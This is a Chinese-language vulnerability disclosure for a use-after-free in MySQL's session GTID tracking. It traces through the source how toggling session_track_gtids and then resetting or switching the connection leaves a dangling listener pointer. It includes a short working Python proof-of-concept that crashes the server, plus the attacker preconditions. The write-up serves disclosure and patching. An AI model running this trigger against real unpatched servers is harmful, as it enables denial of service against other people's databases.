披露时间线
- 2023-06-01:报告给厂商Orcale
- 2023-07-18:修复完成,对外发布release
总结
当在会话中开启和关闭session_track_gtids
,然后进行会话重置或切换用户时,可能会触发段错误(segfault),导致服务中断。
细节
rpl_context.h
的UAF
攻击者可以让MySQL处于一种状态,使得在调用Session_consistency_gtids_ctx::notify_ctx_change_listener()时,m_listener成为悬空指针(dangling pointer),从而达到UAF的目的,导致MySQL被DDoS。
inline void notify_ctx_change_listener() {
m_listener->notify_session_gtids_ctx_change();
}
首先将session_track_gtids会话变量设置为ALL或OWN_GTID来触发的,这将导致会话的Session_gtid_tracker对象将m_enabled设置为true,然后将自身注册为m_listener。
m_enabled = thd->variables.session_track_gtids != SESSION_TRACK_GTIDS_OFF &&
/* No need to track GTIDs for system threads. */
thd->system_thread == NON_SYSTEM_THREAD;
if (m_enabled) {
// register to listen to gtids context state changes
thd->rpl_thd_ctx.session_gtids_ctx().register_ctx_change_listener(this,
thd);
接着,session_track_gtids必须再次设置为OFF,这会导致m_enabled再次设置为false。
然后,必须重新设置连接,可以通过发送COM_RESET_CONNECTION或COM_CHANGE_USER来实现。这两种方式都会调用THD::cleanup_connection(),最终销毁Session_gtid_tracker对象。
THD::cleanup_connection()
→ THD::cleanup()
→ Session_tracker::deinit()
→ Session_gtid_tracker::~Session_gtid_tracker()
在Session_gtid_tracker::~Session_gtid_tracker()中,只有当m_enabled为true时才会将自身从m_listener注销,而在上一步中,m_enabled不为true。这导致m_listener成为了一个悬空指针。
~Session_gtids_tracker() override {
/*
Unregister the listener if the tracker is being freed. This is needed
since this may happen after a change user command.
*/
if (m_enabled && current_thd)
current_thd->rpl_thd_ctx.session_gtids_ctx()
.unregister_ctx_change_listener(this);
if (m_encoder) delete m_encoder;
}
然后将session_track_gtids再次设置为ALL或OWN_GTID,这将导致新的Session_gtid_tracker尝试注册自身为m_listener,但由于m_listener不是nullptr,注册过程将失败。
任何已提交的写事务都将生成一个GTID,这将触发对Session_consistency_gtids_ctx::notify_ctx_change_listener()的调用,该调用将解引用悬空指针,并很可能导致段错误。
可以使用以下Python脚本重现此问题(gtid_mode必须设置为ON或ON_PERMISSIVE)
#!/usr/bin/env python3
import mysql.connector
cnx = mysql.connector.MySQLConnection(
port=3308,
user='test_user_1',
password='test',
database='test',
connection_timeout=99999,
)
print(cnx.cmd_query("SET session_track_gtids = 'OWN_GTID'"))
print(cnx.cmd_query("SET session_track_gtids = 'OFF'"))
print(cnx.cmd_change_user(
username='test_user_2',
password='test',
database='test',
))
print(cnx.cmd_query("SET session_track_gtids = 'OWN_GTID'"))
print(cnx.cmd_query("INSERT INTO test VALUES ()"))
print(cnx.cmd_query("COMMIT"))
为了触发崩溃,必须满足以下条件:
- 能够切换session_track_gtids。由于这是一个会话变量,任何访问级别都将允许这样做。
- 能够重置会话。攻击者可以通过发送COM_RESET_CONNECTION请求来实现,这对任何访问级别的攻击者都可行。
- 能够提交任何写事务。它不能是一个空操作,因为它必须生成一个GTID,这意味着必须写入binlog。攻击者至少需要对任何表具有写入权限。